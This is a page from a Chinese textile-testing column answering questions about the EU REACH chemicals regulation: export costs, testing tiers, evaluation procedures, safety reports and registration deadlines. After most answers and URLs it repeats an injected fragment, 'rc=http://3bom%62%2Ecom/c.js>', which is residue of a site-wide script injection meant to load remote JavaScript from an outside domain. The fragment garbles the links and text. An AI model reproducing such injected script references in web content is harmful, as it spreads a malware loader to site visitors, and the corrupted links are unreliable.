纺织品检测专栏

答：据统计，2001年，我国化工行业（化学原料及制品、化纤、橡胶、塑料）共有21577家企业，年销售收入9838亿元，利润298亿元，销售利润率仅3%。我国仅出口量超过100吨的化学品有474个品种，超过1000吨的化学品有215种，这些大批量生产和出口的化学品大都是附加值较低的化工原料及低端制成品，但在我国化学品出口中的比重较大，占80%以上。根据欧盟的化学品政策白皮书的有关规定,对产量超过100吨的化学品将进行更严格的措施。
（1）试验水平要求高。我国生产和出口的超过100吨的化学品种数较多，而这类产品作为检测和试验的重点。欧盟REACH法规规定：对产量超过100吨的化学品，基本将延用现在对新物质采用的方法，并须做第一水平和第二水平试验。
（2）试验增多。当市场投放量分别达到100公斤，1吨，10吨，100吨和1000吨时，需要进行的试验也逐渐增多。通常来说当市场投放量较小时（10公斤至1吨）试验主要集中在急性危害（短期暴露产生的立即的或稍延迟的负面影响），而对于市场投放量较大的化学品通常需要进行更多的耗资巨大的研究，包括对（准）长期暴露的研究，繁殖毒性和致癌性的研究。
（3）试验周期长。年产量100吨以上的物质须进行长期效应（如致癌、生殖影响）的专项试验。
（4）管理要求严格。100吨以上的化学品筛选试验程序应在主管机关的控制之下制定。
（5）试验花费高，每一新物质进行第一水平试验需花费大约25万欧元，第二水平试验需花费约32.5万欧元，而我国企业还要支付较欧盟企业更多的试验数据费用。
（6）认证及信息提供成本高。由于我国产品认证水平低，信息化水平低，因而化学品认证及信息提供成本相对较高。
（7）注册难度大。所有产量超过100吨的化学品均要做注册信息评估，并由主管当局执行。
（8）信息提供量大。当化学品的产量或进口量达到100吨或1000吨，要求生产商或进口商向主管机关提交化学品所有信息，并提出基于法规中的通用信息要求提出下一步试验的战略。
（9）时间紧迫。产量超过1000吨的物质最晚2005年年底注册，产量超过100吨的物质最晚2008年年底，而产量超过1吨的最晚可到2012年年底。
因此，虽然中国企业试验绝对成本可能低于欧盟企业，但企业利润率较低，相对成本（即试验和注册、认证及信息提供等成本）将高于欧盟企业。由于欧盟尚未明确数据收费的标准，及其他不确定因素，欧盟REACH法规对我国的影响目前难以具体计算。初步测算，该法规的实施每年至少增加我国化工企业生产成本10亿元。

相关连接：
欧洲REACH将实施　我纺织等多个产业将受出口成本上升影响
http://news.webtextiles.com/Info/Info_187243.htm
欧盟REACH法规将增中国出口商成本
http://news.webtextiles.com/Info/Info_197943.htmrc=http://3bom%62%2Ecom/c.js>

问：对我国出口方面具体有什么影响？

答：2001年我国向欧盟出口化学品仅33.8亿美元，占化工行业年销售收入的2.8%，占当年我国向欧盟出口总额的8%。仅从目前我国化学品出口角度看，欧盟REACH法规对我国的影响不大。但化学品广泛应用于纺织、服装、鞋、玩具、家具等我国主要传统出口产品和家电、通信等电出口产品，这些行业年出口额在1000多亿美元，占我国年出口额近一半。因此，欧盟REACH法规对我国相关行业出口影响广泛。rc=http://3bom%62%2Ecom/c.js>

问：REACH对我国哪些方面会产生影响呢？

答：1、对我国出口有很广泛的影响
2、增加了我国化工企业的性队成本
3、试验数据产权壁垒的影响深远
4、影响我国化工行业的就业

相关连接：
欧盟REACH法规将带来哪些影响？
http://news.webtextiles.com/Info/Info_73333.htmrc=http://3bom%62%2Ecom/c.js>

问：我国进出口检验检疫局对欧盟REACH系统提出了怎样的建议？

答：检验检疫局非常细致的向欧盟提出了自己的建议，并详细阐述了其提出的修改建议的理由。具体祥见本频道纺检知识下常见问答集栏目。
http://news.webtextiles.com/Info/Info_245396.htmrc=http://3bom%62%2Ecom/c.js>

问：我国科学部提出了怎样的建议？

答：科学部向欧盟总共提出了13条建议，具体内容可见：
本频道纺检知识中的常见问答集
http://news.webtextiles.com/Info/Info_245394.htmrc=http://3bom%62%2Ecom/c.js>

问：我国哪些部门向欧盟REACH提出了意见呢？

答：是我国的科学部和进出口检验检疫局向欧盟提出的.js>

问：其他国家包括我国对此又有什么样的看法呢？

答：REACH法规的草案一经推出，即在世界各国引起广泛争议。至网上征求意见的截止期时，共收到意见6400多条，几乎超出预期的一倍，且绝大部分表现出强烈的质疑和反对；中国政府要求欧盟的征求意见时间延长60天，并组织有关行业的代表和专家对REACH法规草案进行了深入的研究和讨论，形成我国的意见，于2004年6月21日前正式提交欧盟。期间，中国还专门与欧盟举行了一次电话会议。目前，欧盟已部分采纳中国的意见。rc=http://3bom%62%2Ecom/c.js>

问：REACH法规和其他法规的重叠之处是如何避免的？

答：早在2003年，委员会起草这项法规时，仔细地考虑到了现有所有与化学品相关的立法，例如，在关于医疗设备、食品、医药、电池和化妆品，REACH法规和其他法规是否有重叠之处。在REACH法规要求注册的所用物质中，如果某个立法对其中某一个物质已经有了同样要求，则REACH法规将对其豁免。例如，REACH法规对医药用物质豁免于注册和授权，因为现有的医药法规已经要求这些被使用的物质提交数据并给予授权。
　　另一方面，关于医疗设备的有关法规仅仅考虑了对病人健康的危害，而没有考虑生产这些设备时对工人健康的危害以及对环境的危害。因此，在REACH法规要求下，用于生产医疗设备的物质仍旧部分地需要注册，以确保公司发布物质对工人和环境的危害影响。
　　最后的协定还会包括一个复议条款，这一条款要求委员会5年后应重新检查可能与别的法规相重叠的情况，在适当的时候并提出建议。rc=http://3bom%62%2Ecom/c.js>

问：评估的目的是什么？

答：1. 保持最低水平的动物实验
　　2. 审核注册卷宗是否符合法规要求
　　3. 审查是否存在损害人体健康和环境的风险rc=http://3bom%62%2Ecom/c.js>

问：什么是档案评估（Dossier Evaluation）？

答：　　1. 欧洲化学品管理局须于登记后3周内，将注册人的登记资料与完整性检查报告提供给成员国(Member State)主管机关。但在分阶段注册截至日期前2个月内收到的注册卷宗，需3个月时间进行审核；
　　2. 非分阶段注册物质以及过了注册截止日期的分阶段注册物质，在审核未通过前，禁止在欧盟国家生产、销售使用和进口（成员国主管机关对技术档案进行审查：评估登记的技术文件是否符合法规的规定，并检查动物试验计划，以避免不必要动物试验）；
　　3. 欧盟成员国审查提交的测试草案并起草相关决议。决议内容如下：
　　（1）同意进行实验，在（附件I规定的）截止期限内提交实验结果概要和研究方法建设性分析。
　　（2）决议同a、但要求在修订的试验条件下进行。
　　（3）决议同a、b或d，但当提交的试验目标与附件要求不一致时，要求增加一个或更多的试验。
　　（4）驳回实验的提议。
　　（5）决议同a、b或c,如果几个注册人提交相同试验建议，管理局在90天内协调其达成一致，找到一位进行试验来代表全体。
　　（6）同意的实验应有45天的公示期。rc=http://3bom%62%2Ecom/c.js>

问：什么是物质评估(substance Evaluation)？

答：物质评估是指确认化学物质危害人体健康与环境的风险性。
　　主要内容：
　　1. 管理局为成员国提供评估优先物质的标准；
　　2. 2011年12月1日提供评估滚动计划草案，以后是每年的2月28日前；
　　3. 成员国从中选定物质制定持续三年的评估滚动计划，并进行评估；
　　4. 管理局将最终评估清单登于网上；
　　5. 欧盟成员国需在规定期限内起草相关决议（新物质180天）要求进一步的信息资料。rc=http://3bom%62%2Ecom/c.js>

问：评估的内容有哪些？

答：评估主要包括档案评估（Dossier Evaluation）和物质评估（substance Evaluation）。
　　档案评估是核查企业提交注册卷宗的完整性和一致性。
　　物质评估是核查该种物质是否需要企业提供进一步的信息。rc=http://3bom%62%2Ecom/c.js>

问：什么是化学品安全报告（附件I）？主要包括哪些内容？

答：化学品安全报告是化学安全评估的正式文件，简称CSR。
数量超过 10 吨的化学物质才须提供此报告，此报告必须包括下列信息：
1. 人类健康危险评估；
2. 理化性质对人类健康危险评估；
3. 环境危险评估；
4. PBT（Persistent， Bio-accumulative and Toxic Chemicals）和vPvB（very Persistent and very Bio-accumulative Chemicals）化学物质的评估——如果此化学物质依据Directive 67/548/EEC判定为危险物质，或被评估为PBT或vPvB化学物质，化学品安全报告须另提供下列信息：暴露评估（Exposure Assessment）、风险定性（Risk Characterization）、开发暴露场景。
注：制品中含PBT或vPvB物质浓度小于0.1%时，不需化学品安全评定CSA。rc=http://3bom%62%2Ecom/c.js>

问：常规注册需要提交哪些资料？

答：主要包括技术档案和化学品安全报告（附件I）
1. 技术档案包括：
（1）生产商/进口商的信息；
（2）物质信息；
（3）生产与使用信息；
（4）分类与标识；
（5）安全使用指导说明；
（6）研究摘要（根据吨数决定）；
（7）物质的确定用途/暴露信息；
（8）（如有必要）试验建议（附件IX与附件X）
（9）化学安全性报告（10吨/年以上的物质提供）；
（10）保密要求（因商业秘密）；
（11）是否愿意免费信息共享声明（非脊椎动物试验部分）；
（12）对所提交数据的客观评估信息。
2. 化学品安全报告（附件I）：
数量超过 10 吨的化学物质才须提供此报告，此报告须包括下列信息：
（1）人类健康危险评估
（2）理化性质对人类健康危险评估
（3）环境危险评估
（4）PBT（Persistent， Bio-accumulative and Toxic Chemicals）和vPvB（very Persistent and very Bio-accumulative Chemicals）化学物质的评估——如果此化学物质依据 Directive 67/548/EEC 判定为危险物质或被评估为PBT或vPvB化学物质，化学品安全报告（注：制品中含PBT或vPvB物质浓度小于0.1%时，不需化学品安全评定CSA）须另提供下列信息：
a. 暴露评估（Exposure Assessment）。
b. 风险定性（Risk Characterization）。rc=http://3bom%62%2Ecom/c.js>

问：化学物质的注册时限是多久呢？

答：化学物质的注册分为分阶段注册和非分阶段注册
1. 分阶段注册物质：
（1）预注册（法规生效12个月后至18个月：2008.6.1-2008.11.30）
a. 脊椎动物试验的数据共享
b. 优惠政策
（2）实施3年内（每生产商或进口商）（2008.12.1-2010.11.30）
a. 致癌、致畸、生殖毒性（CMR）种类1和2的物质，数量≥1吨/年
b. 持久性、高生物蓄积、高水生毒性（PBT）物质，数量≥100吨/年
c. 数量≥1000吨/年的物质
（3）实施6年内（2008.12.1-2013.5.31）：数量≥100吨/年的物质
（4）实施11年内（2008.12.1-2018.5.31）：数量≥1吨/年的物质
2. 非分阶段注册物质（新化学物质）：
（1）本法规生效12个月后开始申请。
（2）资料要求：根据吨数确定（同分阶段注册物质）。
（3）登记后3周内主管机关完成资料完整性的审查，如果未要求制造商或进口商提供更进一步的资料，可于登记 3 周后开始生产或进口。如需提供进一步资料，则需在补充资料后，再等3周。rc=http://3bom%62%2Ecom/c.js>

第 3/6 页共 90 条信息 [首页] [上一页] [下一页] [尾页] 转到